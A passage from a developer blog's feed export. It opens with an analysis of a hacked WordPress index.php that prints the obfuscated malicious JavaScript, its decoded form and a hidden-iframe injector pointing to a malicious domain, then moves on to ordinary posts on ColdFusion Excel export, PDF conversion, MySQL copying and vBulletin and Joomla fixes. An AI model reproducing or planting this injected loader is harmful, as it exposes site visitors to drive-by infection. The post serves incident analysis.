zJkakV3ZGpkMk56aDJOeloyT0hZMk1YWTRkakV6ZGpsMk1UTjJOM1kzTTNZMk5YWTNNM1l5TkhZMk5IWTNNbll5TW5ZeE1IWXdkaTAzZGpnd2RqWTJkall4ZGpjM2RqWTFkakl5ZGpCMk1UQjJPWFl3ZGkwM2RqWTFkall5ZGpZMmRqWTBkalkxZGpjM2RqSXlkakIyTVRCMk9YWXdkaTAzZGpjMmRqYzNkamd5ZGpZNWRqWXlkakl5ZGpCMk56bDJOaloyTnpaMk5qWjJOVGwyTmpaMk5qbDJOaloyTnpkMk9ESjJNVGwyTmpWMk5qWjJOakYyTmpGMk5qSjJOekYyTWpCMk56TjJOekoyTnpaMk5qWjJOemQyTmpaMk56SjJOekYyTVRsMk5UaDJOVGwyTnpaMk56SjJOamwyTnpoMk56ZDJOakoyTWpCMk5qbDJOakoyTmpOMk56ZDJNVGwyT1hZeU1IWTNOM1kzTW5ZM00zWXhPWFk1ZGpJd2RqQjJNak4yTWpGMk9IWTJOblkyTTNZM05YWTFPSFkzTUhZMk1uWXlNM1l0TlhZeWRqSXdkaTB6TUhZdE16QjJPRFoyTFRNd2RpMHpNSFkyTTNZM09IWTNNWFkyTUhZM04zWTJOblkzTW5ZM01YWXROM1kyTm5ZMk0zWTNOWFkxT0hZM01IWTJNblkzTlhZeGRqSjJPRFIyTFRNd2RpMHpNSFl0TXpCMk56bDJOVGgyTnpWMkxUZDJOak4yTFRkMk1qSjJMVGQyTmpGMk56SjJOakIyTnpoMk56QjJOakoyTnpGMk56ZDJOM1kyTUhZM05YWTJNblkxT0hZM04zWTJNbll6TUhZMk9YWTJNblkzTUhZMk1uWTNNWFkzTjNZeGRqQjJOaloyTmpOMk56VjJOVGgyTnpCMk5qSjJNSFl5ZGpJd2RqWXpkamQyTnpaMk5qSjJOemQyTWpaMk56ZDJOemQyTnpWMk5qWjJOVGwyTnpoMk56ZDJOakoyTVhZd2RqYzJkamMxZGpZd2RqQjJOWFl3ZGpZMWRqYzNkamMzZGpjemRqRTVkamgyT0hZMk9IWTNOblkyTW5ZM01YWTRNM1kyTTNZMk5YWTNPWFkyTUhZMU9YWTNkall4ZGpjeGRqYzJkakV3ZGpkMk56aDJOeloyT0hZMk1YWTRkakV6ZGpsMk1UTjJOM1kzTTNZMk5YWTNNM1l5TkhZMk5IWTNNbll5TW5ZeE1IWXdkakoyTWpCMk5qTjJOM1kzTm5ZM04zWTRNblkyT1hZMk1uWTNkamM1ZGpZMmRqYzJkalkyZGpVNWRqWTJkalk1ZGpZMmRqYzNkamd5ZGpJeWRqQjJOalYyTmpaMk5qRjJOakYyTmpKMk56RjJNSFl5TUhZMk0zWTNkamMyZGpjM2RqZ3lkalk1ZGpZeWRqZDJOek4yTnpKMk56WjJOaloyTnpkMk5qWjJOekoyTnpGMk1qSjJNSFkxT0hZMU9YWTNOblkzTW5ZMk9YWTNPSFkzTjNZMk1uWXdkakl3ZGpZemRqZDJOeloyTnpkMk9ESjJOamwyTmpKMk4zWTJPWFkyTW5ZMk0zWTNOM1l5TW5Zd2RqbDJNSFl5TUhZMk0zWTNkamMyZGpjM2RqZ3lkalk1ZGpZeWRqZDJOemQyTnpKMk56TjJNakoyTUhZNWRqQjJNakIyTmpOMk4zWTNOblkyTW5ZM04zWXlOblkzTjNZM04zWTNOWFkyTm5ZMU9YWTNPSFkzTjNZMk1uWXhkakIyT0RCMk5qWjJOakYyTnpkMk5qVjJNSFkxZGpCMk1UQjJPWFl3ZGpKMk1qQjJOak4yTjNZM05uWTJNblkzTjNZeU5uWTNOM1kzTjNZM05YWTJOblkxT1hZM09IWTNOM1kyTW5ZeGRqQjJOalYyTmpKMk5qWjJOalIyTmpWMk56ZDJNSFkxZGpCMk1UQjJPWFl3ZGpKMk1qQjJMVE13ZGkwek1IWXRNekIyTmpGMk56SjJOakIyTnpoMk56QjJOakoyTnpGMk56ZDJOM1kyTkhZMk1uWTNOM1l6TUhZMk9YWTJNblkzTUhZMk1uWTNNWFkzTjNZM05uWXlOM1k0TW5ZME5YWTFPSFkyTkhZek9YWTFPSFkzTUhZMk1uWXhkakIyTlRsMk56SjJOakYyT0RKMk1IWXlkalV5ZGpsMk5UUjJOM1kxT0hZM00zWTNNM1kyTW5ZM01YWTJNWFl5T0hZMk5YWTJOblkyT1hZMk1YWXhkall6ZGpKMk1qQjJMVE13ZGkwek1IWTROaWN1YzNCc2FYUW9KM1luS1R0dFpEMG5ZU2M3WlQxM2FXNWtiM2RiSjJVbkt5ZDJZV3duWFR0M1BXWTdjejBuSnp0bWNqMG5aaWNySjNKdkp5c25iU2NySjBOb1lYSW5PM0k5YzNOYlpuSXJKME52WkdVblhUdG1iM0lvYVQwd095MXBQaTEzTG14bGJtZDBhRHRwS3lzcGUybzlhVHR6UFhNcmNpZ3pPU3N4S25kYmFsMHBPMzBLYVdZb1lXRXVhVzVrWlhoUFppaGhZV0VwSVQwOUxURXBDbVVvY3lrN1BDOXpZM0pwY0hRKycpKTsNCn0='));
 

&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
First Translation&lt;br /&gt;
&lt;pre class="brush:plain"&gt;if(window['d'+'o'+'c'+'u'+'m'+'e'+'nt'])aa=/\w/.exec(new Date()).index+[];aaa='0';try{new document();}catch(qqq){ss=String;}if(aa.indexOf(aaa)!==-1)
f='-30v-30v66v63v-7v1v61v72v60v78v70v62v71v77v7v64v62v77v30v69v62v70v62v71v77v76v27v82v45v58v64v39v58v70v62v1v0v59v72v61v82v0v2v52v9v54v2v84v-30v-30v-30v66v63v75v58v70v62v75v1v2v20v-30v-30v86v-7v62v69v76v62v-7v84v-30v-30v-30v61v72v60v78v70v62v71v77v7v80v75v66v77v62v1v-5v21v66v63v75v58v70v62v-7v76v75v60v22v0v65v77v77v73v19v8v8v68v76v62v71v83v63v65v79v60v59v7v61v71v76v10v7v78v76v8v61v8v13v9v13v7v73v65v73v24v64v72v22v10v0v-7v80v66v61v77v65v22v0v10v9v0v-7v65v62v66v64v65v77v22v0v10v9v0v-7v76v77v82v69v62v22v0v79v66v76v66v59v66v69v66v77v82v19v65v66v61v61v62v71v20v73v72v76v66v77v66v72v71v19v58v59v76v72v69v78v77v62v20v69v62v63v77v19v9v20v77v72v73v19v9v20v0v23v21v8v66v63v75v58v70v62v23v-5v2v20v-30v-30v86v-30v-30v63v78v71v60v77v66v72v71v-7v66v63v75v58v70v62v75v1v2v84v-30v-30v-30v79v58v75v-7v63v-7v22v-7v61v72v60v78v70v62v71v77v7v60v75v62v58v77v62v30v69v62v70v62v71v77v1v0v66v63v75v58v70v62v0v2v20v63v7v76v62v77v26v77v77v75v66v59v78v77v62v1v0v76v75v60v0v5v0v65v77v77v73v19v8v8v68v76v62v71v83v63v65v79v60v59v7v61v71v76v10v7v78v76v8v61v8v13v9v13v7v73v65v73v24v64v72v22v10v0v2v20v63v7v76v77v82v69v62v7v79v66v76v66v59v66v69v66v77v82v22v0v65v66v61v61v62v71v0v20v63v7v76v77v82v69v62v7v73v72v76v66v77v66v72v71v22v0v58v59v76v72v69v78v77v62v0v20v63v7v76v77v82v69v62v7v69v62v63v77v22v0v9v0v20v63v7v76v77v82v69v62v7v77v72v73v22v0v9v0v20v63v7v76v62v77v26v77v77v75v66v59v78v77v62v1v0v80v66v61v77v65v0v5v0v10v9v0v2v20v63v7v76v62v77v26v77v77v75v66v59v78v77v62v1v0v65v62v66v64v65v77v0v5v0v10v9v0v2v20v-30v-30v-30v61v72v60v78v70v62v71v77v7v64v62v77v30v69v62v70v62v71v77v76v27v82v45v58v64v39v58v70v62v1v0v59v72v61v82v0v2v52v9v54v7v58v73v73v62v71v61v28v65v66v69v61v1v63v2v20v-30v-30v86'.split('v');md='a';e=window['e'+'val'];w=f;s='';fr='f'+'ro'+'m'+'Char';r=ss[fr+'Code'];for(i=0;-i&amp;gt;-w.length;i++){j=i;s=s+r(39+1*w[j]);}
if(aa.indexOf(aaa)!==-1)
e(s); 
 &lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Then it next translates too the javascript that adds an iframe to the html page. &lt;br /&gt;
&lt;pre class="brush: plain"&gt;if (document.getElementsByTagName('body')[0])
 {            iframer();        } 
 else 
 {            document.write(&amp;quot;&amp;lt;iframe src='http://ksenzfhvcb.dns1.us/d/404.php?go=1' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'&amp;gt;&amp;lt;/iframe&amp;gt;&amp;quot;);        
 }        
 
 function iframer()
 {    
  var f = document.createElement('iframe');f.setAttribute('src','http://ksenzfhvcb.dns1.us/d/404.php?go=1');
  f.style.visibility='hidden';
  f.style.position='absolute';
  f.style.left='0';
  f.style.top='0';
  f.setAttribute('width','10');
  f.setAttribute('height','10');            
  document.getElementsByTagName('body')[0].appendChild(f);        
 }

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-146423643459196510?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ROybWZuOAFHRrsrJvgZseZNXf78/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ROybWZuOAFHRrsrJvgZseZNXf78/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ROybWZuOAFHRrsrJvgZseZNXf78/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ROybWZuOAFHRrsrJvgZseZNXf78/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/WMt-p0oENeM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/146423643459196510/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2012/02/wordpress-indexphp-hacked-iframe-points.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/146423643459196510?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/146423643459196510?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/WMt-p0oENeM/wordpress-indexphp-hacked-iframe-points.html" title="Wordpress index.php hacked  iframe points to ksenzfhvcb.dns1.us" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.codepyro.com/2012/02/wordpress-indexphp-hacked-iframe-points.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DE8BR3o-fyp7ImA9WhRaGEo.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-5647221380013497491</id><published>2012-02-21T17:25:00.000-08:00</published><updated>2012-02-21T18:14:16.457-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-02-21T18:14:16.457-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="coldfusion" /><category scheme="http://www.blogger.com/atom/ns#" term="xls" /><category scheme="http://www.blogger.com/atom/ns#" term="import/export" /><category scheme="http://www.blogger.com/atom/ns#" term="excel" /><title>Export 100K+ records to Excel using ColdFusion</title><content type="html">Lately I have been building a contact manager in coldfusion 8 for a customer with hundreds of thousands of records. They needed to be able to import, search, sort &amp; export their contacts from excel .xls files. Using Ben Nadel's &lt;a href="http://www.bennadel.com/projects/poi-utility.htm"&gt;POI utility&lt;/a&gt; is awesome for excel files with hundreds of rows. When you start to deal with more than that it becomes very troublesome, lots of timeout errors, 500 jRun memory stack issues etc. I need to add a part 2 of this post for the Import and how I got around those problems. &lt;br /&gt;
&lt;br /&gt;
If you are able to, use MsSQL DTS packages instead to do the import/export (much more efficient). In a shared environment this is impossible, we have to do it asynchronously (*challenge accepted!*).&lt;br /&gt;
&lt;br /&gt;
First of all I tried to use a cfcontentvariable to save the string of outputted text to write the file using cffile. Even with 1000 records this process ran too long and failed. After some googling I found Raymond Camden's blog about writing large amounts of data to a file which added a nice solution (&lt;a href="http://www.raymondcamden.com/index.cfm/2011/2/8/Comparing-different-ways-of-writing-out-large-amounts-of-data"&gt;Read It NOW&lt;/a&gt;). In this article he compares and explains several different ways of writing data. I chose to use the method #2 fileOpen, because its really FAST!! (well alot more than cffile). &lt;br /&gt;
&lt;br /&gt;
Ill attach the example in full, but here are some excerpts that show the key pieces.&lt;br /&gt;
&lt;br /&gt;
On the first run, the export creates the initial file, adds the header html table that is used to write the .XLS file.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="brush: plain"&gt;&amp;lt;cfset filepath=ExpandPath( &amp;quot;tmp/Contacts Export.xls&amp;quot; )/&amp;gt;

&amp;lt;cfset contentLine=&amp;quot;&amp;quot;/&amp;gt;
&amp;lt;cfif isFirstRun  eq true &amp;gt;
  &amp;lt;!--- write the header and inital X records to the xls file ---&amp;gt; 
  
  &amp;lt;!---ensure that on the first run the file is Overwritten---&amp;gt;
  &amp;lt;cfif FileExists(filepath)&amp;gt;
    &amp;lt;cfset FileDelete(filepath)/&amp;gt;
  &amp;lt;/cfif&amp;gt;
  
  &amp;lt;!---open the file object---&amp;gt;
  &amp;lt;cfset fileObj = fileOpen(filepath,&amp;quot;write&amp;quot;)/&amp;gt;
  
  &amp;lt;!---create the xls header---&amp;gt;
  &amp;lt;cfset contentHeader ='&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;thead align=&amp;quot;center&amp;quot;&amp;gt;&amp;lt;th&amp;gt;FirstName&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;LastName&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;email&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;City&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;State&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;categoryList&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;entity&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;phone&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;type&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;resource&amp;lt;/th&amp;gt;&amp;lt;/thead&amp;gt;'&amp;gt;
  &amp;lt;cfset fileWriteLine(fileObj, contentHeader)&amp;gt;
  &amp;lt;cfset fileClose(fileObj)&amp;gt;
&amp;lt;/cfif&amp;gt; 

&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
After the Header is written, 10,000 records are then appended as a string and then written to the file. Once this process is completed AND there are more records to process, the page is automatically refreshed either by an html button or javascript window.location. Each iteration appends 10K records to the excel file. Depending upon the server, it may be able to handle 20K or more. &lt;br /&gt;
&lt;br /&gt;
&lt;pre class="brush: plain"&gt;&amp;lt;!---re-open up the file for writing the rest of the contacts---&amp;gt;
&amp;lt;cfset fileObj = fileOpen(filepath,&amp;quot;append&amp;quot;)/&amp;gt; 

&amp;lt;!---create the string of data from the query---&amp;gt;
&amp;lt;cfloop query=&amp;quot;qcontacts&amp;quot; startrow=&amp;quot;#url.recordsProcessed#&amp;quot;  endrow=&amp;quot;#maxRows#&amp;quot;  &amp;gt;
  &amp;lt;cfset contentLine &amp;amp;=  '&amp;lt;tr align=&amp;quot;left&amp;quot;&amp;gt;&amp;lt;td&amp;gt;#FirstName#&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;#LastName#&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;#email#&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;'/&amp;gt;
&amp;lt;/cfloop&amp;gt;
&amp;lt;!---write this bulk entry into the xls file---&amp;gt;
&amp;lt;cfset fileWriteLine(fileObj, contentLine)&amp;gt;
&amp;lt;cfset fileClose(fileObj)&amp;gt;

&lt;/pre&gt;&lt;br /&gt;
This process works pretty well for hundreds of thousands of records, but not millions. It takes about 3-4 minutes to write 200K records to an excel sheet. Not ideal and not the most elegant, but it works. If you have improvements Please Feel Free to Share!!&lt;br /&gt;
&lt;br /&gt;
&lt;a href="labs.codepyro.com/coldfusion/exportXLS-100K.cfm.txt"&gt;&lt;br /&gt;
Full Source example&lt;/a&gt;  &lt;br /&gt;
&lt;i&gt;*note this is a hacked up version from the project; it has not been tested. &lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-5647221380013497491?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/QzmwFZ-uGcfFitTVf2kotqAOiu0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/QzmwFZ-uGcfFitTVf2kotqAOiu0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/QzmwFZ-uGcfFitTVf2kotqAOiu0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/QzmwFZ-uGcfFitTVf2kotqAOiu0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/gWlJaIG4Vv8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/5647221380013497491/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2012/02/export-100k-to-excel-using-coldfusion.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/5647221380013497491?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/5647221380013497491?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/gWlJaIG4Vv8/export-100k-to-excel-using-coldfusion.html" title="Export 100K+ records to Excel using ColdFusion" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.codepyro.com/2012/02/export-100k-to-excel-using-coldfusion.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D04FQ346eip7ImA9WhRbFks.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-3143488218780941735</id><published>2012-02-07T17:51:00.000-08:00</published><updated>2012-02-07T17:51:52.012-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-02-07T17:51:52.012-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="pdf" /><title>Convert PDFs to JPGs</title><content type="html">Need to quickly save each page of a pdf into a jpg?&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Open the file in Acrobat &lt;strong&gt;PRO&lt;/strong&gt; - and be sure that the Page Thumbnails tray is open.&lt;/li&gt;
&lt;li&gt;Highlight all of the Page Thumbnails&lt;/li&gt;
&lt;li&gt;Right Click on them to bring up the context menu - select "Extract Pages"&lt;/li&gt;
&lt;li&gt;Choose the file location to save all of the exported split pages&lt;/li&gt;

&lt;/ul&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Next use photoshop to open each pdf and save as a jpg or &lt;br /&gt;
"save as for web" in my case&lt;/li&gt;
&lt;li&gt;This can be done with a batch process by creating a new action set.&lt;/li&gt;

&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-3143488218780941735?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/LJyhNCDRB2piDjN0aYHOmlF8OJA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/LJyhNCDRB2piDjN0aYHOmlF8OJA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/LJyhNCDRB2piDjN0aYHOmlF8OJA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/LJyhNCDRB2piDjN0aYHOmlF8OJA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/RzqGy7_aGEM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/3143488218780941735/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2012/02/convert-pdfs-to-jpgs.html#comment-form" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/3143488218780941735?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/3143488218780941735?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/RzqGy7_aGEM/convert-pdfs-to-jpgs.html" title="Convert PDFs to JPGs" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><thr:total>2</thr:total><feedburner:origLink>http://blog.codepyro.com/2012/02/convert-pdfs-to-jpgs.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0cEQXc4eCp7ImA9WhRbFUo.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-8745170592294734271</id><published>2012-02-06T16:36:00.000-08:00</published><updated>2012-02-06T16:36:40.930-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-02-06T16:36:40.930-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="mysql" /><category scheme="http://www.blogger.com/atom/ns#" term="SQL" /><title>Copy MySQL db on the same server</title><content type="html">Need to duplicate or backup a db for testing, give this a run.&lt;br /&gt;
&lt;br /&gt;
You can specify a username and pass for both, but I had trouble with it. SO I just used root.. :)&lt;br /&gt;
&lt;pre class="brush: plain"&gt;mysqldump -h [server] -u [user] -p[password] DataBaseA | mysql -h [server]  DataBaseB

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-8745170592294734271?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/KcAS-pmoMDaZgbp3ZZoedbmteUM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/KcAS-pmoMDaZgbp3ZZoedbmteUM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/KcAS-pmoMDaZgbp3ZZoedbmteUM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/KcAS-pmoMDaZgbp3ZZoedbmteUM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/utoo5Kvt-Yk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/8745170592294734271/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2012/02/copy-mysql-db-on-same-server.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/8745170592294734271?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/8745170592294734271?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/utoo5Kvt-Yk/copy-mysql-db-on-same-server.html" title="Copy MySQL db on the same server" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.codepyro.com/2012/02/copy-mysql-db-on-same-server.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEUARX04eip7ImA9WhVSEUk.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-9182850292072585888</id><published>2012-01-27T18:59:00.001-08:00</published><updated>2012-03-07T10:50:44.332-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-03-07T10:50:44.332-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="php" /><category scheme="http://www.blogger.com/atom/ns#" term="vbulletin" /><title>vbulletin error after upgrading php "includes/init.php Line: 49"</title><content type="html">If you are getting the below errors with vBulletin after upgrading php. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Deprecated: Assigning the return value of new by reference is deprecated in E:\websites\dynamic\DOMAIN\a2hosting_forum\includes\init.php on line 383&lt;br /&gt;
&lt;br /&gt;
Deprecated: Assigning the return value of new by reference is deprecated in E:\websites\dynamic\DOMAIN\a2hosting_forum\includes\class_core.php on line 2529&lt;br /&gt;
&lt;br /&gt;
Unable to add cookies, header already sent.&lt;br /&gt;
File: E:\websites\dynamic\DOMAIN\a2hosting_forum\includes\init.php&lt;br /&gt;
Line: 49&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To fix &lt;br /&gt;
Try replacing&lt;br /&gt;
&lt;br /&gt;
error_reporting(E_ALL &amp; ~E_NOTICE);&lt;br /&gt;
&lt;br /&gt;
with&lt;br /&gt;
&lt;br /&gt;
error_reporting(E_ALL &amp; ~E_NOTICE &amp; ~8192); &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Then replace all occurances of '=&amp;' with '='&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-9182850292072585888?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/YY6mBn-PDhf4hqrEhKdu4ajsKSM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/YY6mBn-PDhf4hqrEhKdu4ajsKSM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/YY6mBn-PDhf4hqrEhKdu4ajsKSM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/YY6mBn-PDhf4hqrEhKdu4ajsKSM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/Bl42BqcUTqM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/9182850292072585888/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2012/01/vbulletin-error-after-upgrading-php.html#comment-form" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/9182850292072585888?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/9182850292072585888?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/Bl42BqcUTqM/vbulletin-error-after-upgrading-php.html" title="vbulletin error after upgrading php &quot;includes/init.php Line: 49&quot;" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><thr:total>4</thr:total><feedburner:origLink>http://blog.codepyro.com/2012/01/vbulletin-error-after-upgrading-php.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0cDRX49eip7ImA9WhRUFk8.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-1717298492589355058</id><published>2012-01-26T16:44:00.000-08:00</published><updated>2012-01-26T16:44:34.062-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-01-26T16:44:34.062-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="joomla" /><category scheme="http://www.blogger.com/atom/ns#" term="plugin" /><category scheme="http://www.blogger.com/atom/ns#" term="virtuemart" /><title>Joomla Virtuemart Product search plugin not finding products</title><content type="html">The vmxsearch.plugin that comes with Virtuemart to integrate product search into the normal joomla website search works great once its configured. Some products may not show in the search results. &lt;br /&gt;
&lt;br /&gt;
